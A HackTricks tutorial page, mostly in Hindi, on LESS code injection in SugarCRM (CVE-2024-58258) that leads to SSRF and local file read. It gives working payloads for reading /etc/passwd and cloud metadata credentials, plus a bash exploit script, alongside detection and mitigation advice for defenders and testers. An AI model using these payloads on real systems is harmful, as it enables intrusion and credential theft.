LESS Code Injection leading to SSRF & Local File Read
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Overview
LESS एक लोकप्रिय CSS प्री-प्रोसेसर है जो वेरिएबल्स, मिक्सिन्स, फंक्शंस और शक्तिशाली @import
निर्देश को जोड़ता है। संकलन के दौरान LESS इंजन @import
बयानों में संदर्भित संसाधनों को फेच करेगा और (inline)
विकल्प का उपयोग करने पर उनके सामग्री को परिणामी CSS में एम्बेड ("इनलाइन") करेगा।
जब एक एप्लिकेशन उपयोगकर्ता-नियंत्रित इनपुट को एक स्ट्रिंग में जोड़ता है जिसे बाद में LESS कंपाइलर द्वारा पार्स किया जाता है, तो एक हमलावर मनमाना LESS कोड इंजेक्ट कर सकता है। @import (inline)
का दुरुपयोग करके हमलावर सर्वर को पुनः प्राप्त करने के लिए मजबूर कर सकता है:
file://
प्रोटोकॉल के माध्यम से स्थानीय फ़ाइलें (जानकारी का खुलासा / स्थानीय फ़ाइल समावेशन)।- आंतरिक नेटवर्क या क्लाउड मेटाडेटा सेवाओं पर दूरस्थ संसाधन (SSRF)।
यह तकनीक वास्तविक दुनिया के उत्पादों में देखी गई है जैसे SugarCRM ≤ 14.0.0 (/rest/v10/css/preview
एंडपॉइंट)।
Exploitation
- एक पैरामीटर की पहचान करें जो LESS इंजन द्वारा संसाधित स्टाइलशीट स्ट्रिंग के अंदर सीधे एम्बेड किया गया है (जैसे
?lm=
SugarCRM में)। - वर्तमान बयान को बंद करें और नए निर्देश इंजेक्ट करें। सबसे सामान्य प्राइमिटिव हैं:
;
– पिछले घोषणा को समाप्त करता है।}
– पिछले ब्लॉक को बंद करता है (यदि आवश्यक हो)।
- मनमाने संसाधनों को पढ़ने के लिए
@import (inline) '<URL>';
का उपयोग करें। - वैकल्पिक रूप से आयात के बाद एक मार्कर (
data:
URI) इंजेक्ट करें ताकि संकलित CSS से प्राप्त सामग्री को निकालना आसान हो सके।
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd
की सामग्री HTTP प्रतिक्रिया में @@END@@
मार्कर से ठीक पहले दिखाई देगी।
SSRF – क्लाउड मेटाडेटा
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
स्वचालित PoC (SugarCRM उदाहरण)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Detection
- अस्वीकृत क्वेरी पैरामीटर वाले गतिशील रूप से उत्पन्न
.less
या.css
प्रतिक्रियाओं की तलाश करें। - कोड समीक्षा के दौरान, ऐसे निर्माणों की खोज करें जैसे
"@media all { .preview { ... ${userInput} ... } }"
जो LESS रेंडर फ़ंक्शंस को पास किए जाते हैं। - शोषण के प्रयास अक्सर
@import
,(inline)
,file://
,http://169.254.169.254
, आदि शामिल करते हैं।
Mitigations
- LESS कंपाइलर को अस्वीकृत डेटा न दें।
- यदि गतिशील मान आवश्यक हैं, तो उन्हें सही तरीके से escape/sanitize करें (जैसे, संख्यात्मक टोकन, व्हाइटलिस्ट तक सीमित करें)।
- जब संभव हो,
(inline)
आयातों का उपयोग करने की क्षमता को अक्षम करें, या अनुमत प्रोटोकॉल कोhttps
तक सीमित करें। - निर्भरताओं को अद्यतित रखें – SugarCRM ने संस्करण 13.0.4 और 14.0.1 में इस समस्या को पैच किया।
Real-World Cases
Product | Vulnerable Endpoint | Impact |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Unauthenticated SSRF & local file read |
References
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।